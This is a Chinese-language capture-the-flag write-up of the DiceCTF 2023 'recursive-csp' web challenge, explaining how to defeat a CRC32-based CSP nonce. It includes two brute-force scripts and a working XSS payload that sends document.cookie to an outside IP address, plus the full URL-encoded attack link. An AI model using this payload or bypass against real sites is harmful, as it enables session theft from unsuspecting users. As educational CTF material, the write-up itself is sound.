DiceCTF2023 Web复现
recursive-csp

访问/?source
查看源码
<?php
if (isset($_GET["source"])) highlight_file(__FILE__) && die();
$name = "world";
if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
$name = $_GET["name"];
}
$nonce = hash("crc32b", $name);
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
<head>
<title>recursive-csp</title>
</head>
<body>
<h1>Hello, <?php echo $name ?>!</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name" />
<input type="submit" />
</form>
<!-- /?source -->
</body>
</html>
获取一个name参数,长度需要小于128才会将name参数获取到的值传给$name
然后计算$name的hash
,后面使用了CSP,我们nonce的值就是$name的hash
如果我们想要传入的xss能被正常执行,就必须得在标签里带有这个nonce,但nonce的值又随着payload的变化而变化,可以写个脚本爆破一下
<?php
$printables = "0123456789abcdef";
for ($a=0; $a<strlen($printables);$a++){
$target = "";
for ($b=0; $b<strlen($printables);$b++){
for ($c=0; $c<strlen($printables);$c++){
for ($d=0; $d<strlen($printables);$d++){
for ($e=0; $e<strlen($printables);$e++){
for ($f=0; $f<strlen($printables);$f++){
for ($g=0; $g<strlen($printables);$g++){
for ($h=0; $h<strlen($printables);$h++){
$aa=substr($printables,$a,1);
$bb=substr($printables,$b,1);
$cc=substr($printables,$c,1);
$dd=substr($printables,$d,1);
$ee=substr($printables,$e,1);
$ff=substr($printables,$f,1);
$gg=substr($printables,$g,1);
$hh=substr($printables,$h,1);
$target = $aa.$bb.$cc.$dd.$ee.$ff.$gg.$hh;
$script = "<script nonce=$target>location.href='https://101.43.66.67:12345/?flag='+document.cookie</script>";
if (hash("crc32b", $script)===$target){
echo hash("crc32b", $script)."\n";
echo $target."\n";
die($script);
}
}
}
}
}
}
}
}
}
将这个nonce设为未知数,然后来爆破hash(payload)==nonce
得到一个payload为:
<script nonce=ffd2d18b>location.href='https://101.43.66.67:12345/?flag='+document.cookie</script>
此时我们可以看到,payload里的nonce是ffd2d18b
,这整个payload的hash也为ffd2d18b
,即满足要求
https://recursive-csp.mc.ax/?name=%3Cscript%20nonce%3Dffd2d18b%3Elocation.href%3D'https%3A%2F%2F101.43.66.67%3A12345%2F%3Fflag%3D'%2Bdocument.cookie%3C%2Fscript%3E
url编码后,放入admin bot访问即可
我的脚本是爆破nonce,r3的脚本是固定一个nonce,然后在payload后追加字符使得hash值满足这个nonce。下面是r3的脚本
import crc from "crc/crc32";
const target = "e8b7be43";
const script = `<script nonce="${target}">location.href='https://101.43.66.67:12345/?flag='+document.cookie</script>`;
const printables = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c";
for (const a of printables) {
for (const b of printables) {
for (const c of printables) {
for (const d of printables) {
for (const e of printables) {
const result = script + a + b + c + d + e;
const digest = crc(result).toString(16);
if (digest === target) {
console.log(result);
process.exit(0);
}
}
}
}
}
}
